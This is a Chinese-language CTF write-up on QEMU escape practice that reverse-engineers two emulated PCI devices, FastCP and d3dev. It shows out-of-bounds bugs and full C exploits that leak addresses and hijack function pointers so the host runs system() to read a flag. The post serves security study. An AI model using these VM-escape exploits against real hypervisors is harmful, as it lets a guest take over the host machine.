QEMU逃逸练习
196082 慢慢好起来

可以看得出来这篇文章的标题十分的水,因为确实是很难找到这两道题又什么闪光点来作为标题。这篇文章更新后会暂停学习qemu了,后续会进一步学习AFL以及开始接触docker逃逸。

FastCP-ctf

关于设备的分析可以参考前面两篇文章,这里就不再赘述了。

函数分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
uint64_t __fastcall fastcp_mmio_read(FastCPState *opaque, hwaddr addr, unsigned int size)
{
if ( size != 8 && addr <= 0x1F || addr > 0x1F )
return -1LL;
if ( addr == 8 )
return opaque->cp_state.CP_list_src;
if ( addr <= 8 )
{
if ( !addr )
return opaque->handling;
return -1LL;
}
if ( addr != 0x10 )
{
if ( addr == 0x18 )
return opaque->cp_state.cmd;
return -1LL;
}
return opaque->cp_state.CP_list_cnt;
}

首先就是read函数这里是非常常规的一些内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void __fastcall fastcp_mmio_write(FastCPState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
int64_t ns; // rax

if ( (size == 8 || addr > 0x1F) && addr <= 0x1F )
{
if ( addr == 0x10 )
{
if ( opaque->handling != 1 )
opaque->cp_state.CP_list_cnt = val;
}
else if ( addr == 0x18 )
{
if ( opaque->handling != 1 )
{
opaque->cp_state.cmd = val;
ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);
timer_mod(&opaque->cp_timer, ns / 1000000 + 100);
}
}
else if ( addr == 8 && opaque->handling != 1 )
{
opaque->cp_state.CP_list_src = val;
}
}
}

再就是write函数,可以修改opaque->cp_state.cmdopaque->cp_state.CP_list_cntopaque->cp_state.CP_list_src,并且可以看到中间会触发timer。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
void __fastcall fastcp_cp_timer(FastCPState *opaque)
{
uint64_t cmd; // rax
uint64_t CP_list_cnt; // rdx
__int64 v3; // rbp
uint64_t v4; // r12
uint64_t v5; // rax
uint64_t v6; // rax
bool v7; // zf
uint64_t v8; // rbp
__int64 v9; // rdx
FastCP_CP_INFO cp_info; // [rsp+0h] [rbp-68h] BYREF
char buf[8]; // [rsp+20h] [rbp-48h] BYREF
unsigned __int64 v12; // [rsp+28h] [rbp-40h]
unsigned __int64 v13; // [rsp+38h] [rbp-30h]

v13 = __readfsqword(0x28u);
cmd = opaque->cp_state.cmd;
memset(&cp_info, 0, sizeof(cp_info));
switch ( cmd )
{
case 2uLL:
v7 = opaque->cp_state.CP_list_cnt == 1;
opaque->handling = 1;
if ( v7 )
{
cpu_physical_memory_rw(opaque->cp_state.CP_list_src, &cp_info, 0x18uLL, 0);// read
if ( cp_info.CP_cnt <= 0x1000 )
cpu_physical_memory_rw(cp_info.CP_src, opaque->CP_buffer, cp_info.CP_cnt, 0);
v6 = opaque->cp_state.cmd & 0xFFFFFFFFFFFFFFFCLL;
opaque->cp_state.cmd = v6;
goto LABEL_11;
}
break;
case 4uLL:
v7 = opaque->cp_state.CP_list_cnt == 1;
opaque->handling = 1;
if ( v7 )
{
cpu_physical_memory_rw(opaque->cp_state.CP_list_src, &cp_info, 0x18uLL, 0);
cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);// write
v6 = opaque->cp_state.cmd & 0xFFFFFFFFFFFFFFF8LL;
opaque->cp_state.cmd = v6;
LABEL_11:
if ( (v6 & 8) != 0 )
{
opaque->irq_status |= 0x100u;
if ( msi_enabled(&opaque->pdev) )
msi_notify(&opaque->pdev, 0);
else
pci_set_irq(&opaque->pdev, 1);
}
goto LABEL_16;
}
break;
case 1uLL:
CP_list_cnt = opaque->cp_state.CP_list_cnt;
opaque->handling = 1;
if ( CP_list_cnt > 0x10 )
{
LABEL_22:
v8 = 0LL;
do
{
v9 = 3 * v8++;
cpu_physical_memory_rw(opaque->cp_state.CP_list_src + 8 * v9, &cp_info, 0x18uLL, 0);
cpu_physical_memory_rw(cp_info.CP_src, opaque->CP_buffer, cp_info.CP_cnt, 0);
cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);
}
while ( opaque->cp_state.CP_list_cnt > v8 );
}
else
{
if ( !CP_list_cnt )
{
LABEL_10:
v6 = cmd & 0xFFFFFFFFFFFFFFFELL;
opaque->cp_state.cmd = v6;
goto LABEL_11;
}
v3 = 0LL;
v4 = 0LL;
while ( 1 )
{
cpu_physical_memory_rw(v3 + opaque->cp_state.CP_list_src, buf, 0x18uLL, 0);
if ( v12 > 0x1000 )
break;
v5 = opaque->cp_state.CP_list_cnt;
++v4;
v3 += 24LL;
if ( v4 >= v5 )
{
if ( !v5 )
break;
goto LABEL_22;
}
}
}
cmd = opaque->cp_state.cmd;
goto LABEL_10;
default:
return;
}
opaque->cp_state.cmd = 0LL;
LABEL_16:
opaque->handling = 0;
}

在timer中存在三个由cmd属性控制的分支,这里直接说三个分支的功能:

  1. opaque->cp_state.cmd = 2; 从opaque->cp_state.CP_list_src读取内容到栈上,通过( cp_info.CP_cnt <= 0x1000 )验证之后再将cp_info.CP_src内容读取到opaque->CP_buffer上。
  2. opaque->cp_state.cmd = 4; 从opaque->cp_state.CP_list_src读取内容到栈上,未通过任何验证,直接将opaque->CP_buffer写到cp_info.CP_dst
  3. opaque->cp_state.cmd = 1; 从opaque->cp_state.CP_list_src + 8 * v9读取内容到栈上,未通过任何验证,将cp_info.CP_src读取到opaque->CP_buffer上,再将opaque->CP_buffer写到cp_info.CP_dst上。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
00000000 FastCPState struc ; (sizeof=0x1A30, align=0x10, copyof_4530)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009E0 cp_state CP_state ?
000009F8 handling db ?
000009F9 db ? ; undefined
000009FA db ? ; undefined
000009FB db ? ; undefined
000009FC irq_status dd ?
00000A00 CP_buffer db 4096 dup(?)
00001A00 cp_timer QEMUTimer_0 ?
00001A30 FastCPState ends


00000000 QEMUTimer_0 struc ; (sizeof=0x30, align=0x8, copyof_1181)
00000000 ; XREF: FastCPState/r
00000000 expire_time dq ?
00000008 timer_list dq ? ; offset
00000010 cb dq ? ; offset
00000018 opaque dq ? ; offset
00000020 next dq ? ; offset
00000028 attributes dd ?
0000002C scale dd ?
00000030 QEMUTimer_0 ends

结合上述结构体再加上上面的分析结果漏洞已经呼之欲出了。因为情况2和3中没有对len进行验证导致可以越界使用结构体产生的漏洞。

利用分析

因为漏洞点较为简单,所以利用方式也比较简单

  1. 首先通过情况2越界读取到cp_timer成员中的内容。该成员中cb的值为fastcp_cp_timer函数的地址(在pci_FastCP_realize中完成赋值),进而泄漏出system的地址。顺便泄漏出opaque成员地址。
  2. 通过情况3越界写入内容到cp_timer成员,劫持cb和opaque。
  3. 最后触发timer完成利用

注意!!

虽然利用方式特别简单,但是这道题目有一点是非常容易被忽略的。那就是物理地址连续不代表虚拟地址连续!

在下面exp中,在第一次读取到cp_timer成员到内容后并没有使用*(unsigned long long *)(userbuf + 0x1010)来读取,因为程序中实际写入到函数是cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);而这里写入到的是物理地址,但是物理地址并不连续,所以这里是读取不到的。所以最后往cp_timer成员写入的时候使用的也是va2pa(userbuf + 0x1000) - 0x1000写入。

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)

struct FastCP_CP_INFO
{
uint64_t CP_src;
uint64_t CP_cnt;
uint64_t CP_dst;
};

struct QEMUTimer
{
long long int expire_time;
unsigned long long timer_list;
unsigned long long cb;
void *opaque;
unsigned long long next;
int attributes;
int scale;
char command[0x50];
};

void die(const char *msg)
{
perror(msg);
exit(-1);
}

size_t va2pa(void *addr)
{
uint64_t data;

int fd = open("/proc/self/pagemap", O_RDONLY);
if (!fd)
{
perror("open pagemap");
return 0;
}

size_t offset = ((uintptr_t)addr / PAGE_SIZE) * sizeof(uint64_t);

if (lseek(fd, offset, SEEK_SET) < 0)
{
puts("lseek");
close(fd);
return 0;
}

if (read(fd, &data, 8) != 8)
{
puts("read");
close(fd);
return 0;
}

if (!(data & (((uint64_t)1 << 63))))
{
puts("page");
close(fd);
return 0;
}

size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * PAGE_SIZE + (uintptr_t)addr % PAGE_SIZE;

close(fd);

return phyaddr;
}

char *userbuf;
unsigned long long phy_userbuf;
unsigned char *mmio_mem;

int write_CP_list_cnt(unsigned long long value)
{
*((unsigned long long *)(mmio_mem + +0x10)) = value;
}

int write_CP_list_src(unsigned long long value)
{
*((unsigned long long *)(mmio_mem + 8)) = value;
}

int run_cmd(unsigned long long cmd, unsigned long long src, unsigned long long cnt)
{
write_CP_list_cnt(cnt);
write_CP_list_src(src);
*((unsigned long long *)(mmio_mem + +0x18)) = cmd;
sleep(1);
}

int main()
{
int mmio_fd = open("/sys/bus/pci/devices/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);
userbuf = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED)
die("mmap");

mlock(userbuf, 0x2000);
phy_userbuf = va2pa(userbuf);
printf("user buff virtual address: %p\n", userbuf);
printf("user buff physical address: %p\n", (void *)phy_userbuf);

struct FastCP_CP_INFO info;
info.CP_src = NULL;
info.CP_dst = phy_userbuf;
info.CP_cnt = 0x1000 + 0x30;
memcpy(userbuf, &info, sizeof(info));
run_cmd(4, phy_userbuf, 1);

info.CP_src = phy_userbuf + 0x1000;
info.CP_cnt = 0x30;
info.CP_dst = NULL;
memcpy(userbuf, &info, sizeof(info));
run_cmd(2, phy_userbuf, 1);

info.CP_src = NULL;
info.CP_cnt = 0x30;
info.CP_dst = phy_userbuf;
memcpy(userbuf, &info, sizeof(info));
run_cmd(4, phy_userbuf, 1);

printf("fastcp_cp_timer=>%p\n", *(unsigned long long *)(userbuf + 0x10));
printf("%p\n", va2pa(userbuf + 0x1000));
printf("%p\n", va2pa(userbuf + 0x2000));
unsigned long long fastcp_cp_timer = *(unsigned long long *)(userbuf + 0x10);
unsigned long long elf_base = fastcp_cp_timer - 0x4DCE80;
unsigned long long system_addr = elf_base + 0x2C2180;
unsigned long long opaque_addr = *(unsigned long long *)(userbuf + 0x18);

struct QEMUTimer timer;

timer.expire_time = 0xffffffffffffffff;
timer.timer_list = *(unsigned long long *)(userbuf + 0x8);
timer.cb = system_addr;
timer.opaque = opaque_addr + 0x1a30;
timer.next = *(unsigned long long *)(userbuf + 0x20);
timer.attributes = *(unsigned int *)(userbuf + 0x28);
timer.scale = *(unsigned int *)(userbuf + 0x2c);
strcpy(&timer.command, "cat /flag");
memcpy(userbuf + 0x1000, &timer, sizeof(timer));

info.CP_src = va2pa(userbuf + 0x1000) - 0x1000;
info.CP_cnt = 0x1000 + 0x30 + 9;
info.CP_dst = va2pa(userbuf + 0x1000) - 0x1000;
for (int i = 0; i < 0x11; i++)
{
memcpy(userbuf + i * 0x18, &info, sizeof(info));
}

run_cmd(1, phy_userbuf, 0x11);
*((unsigned long long *)(mmio_mem + +0x18)) = 1;

return 0;
}

image-20230321155543134

d3dev

先看看结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct __attribute__((aligned(16))) d3devState
{
PCIDevice_0 pdev;
MemoryRegion_0 mmio;
MemoryRegion_0 pmio;
uint32_t memory_mode;
uint32_t seek;
uint32_t init_flag;
uint32_t mmio_read_part;
uint32_t mmio_write_part;
uint32_t r_seed;
uint64_t blocks[257];
uint32_t key[4];
int (*rand_r)(unsigned int *);
};

分析函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
uint64_t v3; // rax
int v4; // esi
unsigned int v5; // ecx
uint64_t result; // rax

v3 = opaque->blocks[opaque->seek + (addr >> 3)];
v4 = 0xC6EF3720;
v5 = v3;
result = HIDWORD(v3);
do
{
LODWORD(result) = result - ((v5 + v4) ^ (opaque->key[3] + (v5 >> 5)) ^ (opaque->key[2] + 16 * v5));
v5 -= (result + v4) ^ (opaque->key[1] + (result >> 5)) ^ (opaque->key[0] + 16 * result);
v4 += 0x61C88647;
}
while ( v4 );
if ( opaque->mmio_read_part )
{
opaque->mmio_read_part = 0;
return result;
}
else
{
opaque->mmio_read_part = 1;
return v5;
}
}

mmio_read函数这里,首先是根据seek和addr定位到数据,随后将数据进行tea解密,然后第一次输出低32位,第二次输出高32位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
__int64 v4; // rsi
ObjectClass **v5; // r11
uint64_t v6; // rdx
int v7; // esi
uint32_t v8; // r10d
uint32_t v9; // r9d
uint32_t v10; // r8d
uint32_t v11; // edi
unsigned int v12; // ecx
uint64_t v13; // rax

if ( size == 4 )
{
v4 = opaque->seek + (addr >> 3);
if ( opaque->mmio_write_part )
{
v5 = &opaque->pdev.qdev.parent_obj.class + v4;
v6 = val << 32;
v7 = 0;
opaque->mmio_write_part = 0;
v8 = opaque->key[0];
v9 = opaque->key[1];
v10 = opaque->key[2];
v11 = opaque->key[3];
v12 = v6 + *(v5 + 0x2B6);
v13 = (v5[0x15B] + v6) >> 32;
do
{
v7 -= 0x61C88647;
v12 += (v7 + v13) ^ (v9 + (v13 >> 5)) ^ (v8 + 16 * v13);
LODWORD(v13) = ((v7 + v12) ^ (v11 + (v12 >> 5)) ^ (v10 + 16 * v12)) + v13;
}
while ( v7 != 0xC6EF3720 );
v5[0x15B] = __PAIR64__(v13, v12);
}
else
{
opaque->mmio_write_part = 1;
opaque->blocks[v4] = val;
}
}
}

mmio_write函数中首先一样先通过seek和addr得到index,第一次使用时是直接在低32位写入输入的数据,后面的则是低32位和高32位进行tea加密随后写入到地址位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// local variable allocation has failed, the output may be wrong!
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *key; // rbp

if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->seek = val;
}
else if ( addr > 8 )
{
if ( addr == 28 )
{
opaque->r_seed = val;
key = opaque->key;
do
*key++ = (opaque->rand_r)(&opaque->r_seed, 28LL, val, *&size);
while ( key != &opaque->rand_r );
}
}
else if ( addr )
{
if ( addr == 4 )
{
*opaque->key = 0LL;
*&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}

这里不说pmio_read函数了,因为确实没啥用就不浪费篇幅了。这里看pmio_write函数,可以喊到在port等于28时会给r_seek赋值,并且会调用opaque->rand_r第一个参数就是opaque->r_seed的地址。而在addr等于8并且val小于0x100时则是往seek中写入值。可以看出来这里漏洞一样是存在越界使用结构体。

利用分析

这里的利用思路也是较为清晰的

  1. 首先修改seek配合addr实现使用mmio_write函数实现越界写,将opaque->rand_r原有的函数地址进行tea加密并且写入到当前位置。
  2. 两次调用mmio_read函数,分别读取opaque->rand_r高位和低位泄漏出libc地址,进而拿到system地址。
  3. 应为r_seek成员和blocks成员紧邻的缘故,恢复seek为0并通过addr在blocks成员开始位置写入flag
  4. 最后直接调用pmio_write并且port为28修改r_seednl /即可调用nl /flag

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

void die(const char *msg)
{
perror(msg);
exit(-1);
}

char *userbuf;
uint64_t phy_userbuf;
unsigned char *mmio_mem;
unsigned int port_base = 0xc040;

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t *)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t *)(mmio_mem + addr));
}

void pmio_write(size_t port, u_int32_t val)
{
outl(val, port_base + port);
}

size_t pmio_read(size_t port)
{
return inl(port_base + port);
}

unsigned int key[4];

size_t tea(size_t m)
{
uint64_t v3;
signed int v4; // esi
unsigned int v5; // ecx
uint64_t result; // rax

v3 = m;
v4 = -957401312;
v5 = v3;
result = v3 >> 32;
do
{
result = result - ((v5 + v4) ^ (key[3] + (v5 >> 5)) ^ (key[2] + 16 * v5));
v5 -= (result + v4) ^ (key[1] + ((unsigned int)result >> 5)) ^ (key[0] + 16 * result);
v4 += 1640531527;
} while (v4);

printf("0x%lx\n", v5);
printf("0x%lx\n", result);
return result << 32 | (u_int64_t)v5;
}

int main()
{
int mmio_fd = open("/sys/bus/pci/devices/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

if (iopl(3) != 0)
{
puts("iopl fail!");
exit(-1);
}

unsigned long long rand_r;
unsigned long long libc_base;
unsigned long long system_addr;

pmio_write(8, 0x100);
mmio_write(8, 0);
mmio_write(0x18, 0);
rand_r = mmio_read(0x18);

rand_r += ((unsigned long long)mmio_read(0x18)) << 32;
libc_base = rand_r - 0x25d30;
system_addr = libc_base + 0x30290;
printf("%p\n", rand_r);

key[0] = pmio_read(12);
key[1] = pmio_read(16);
key[2] = pmio_read(20);
key[3] = pmio_read(24);
for (int i = 0; i < 4; i++)
{
printf("key%d: %p\n", i, key[i]);
}

unsigned long long t_system_addr;
t_system_addr = tea(system_addr);

mmio_write(0x18, t_system_addr & 0xffffffff);
mmio_write(0x18, t_system_addr >> 32);

pmio_write(8, 0);
mmio_write(0, 0x67616c66);

pmio_write(28, 0x2f206c6e);
}

image-20230321154453844


题目链接:
https://github.com/196082/196082/tree/main/qemu_escape

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量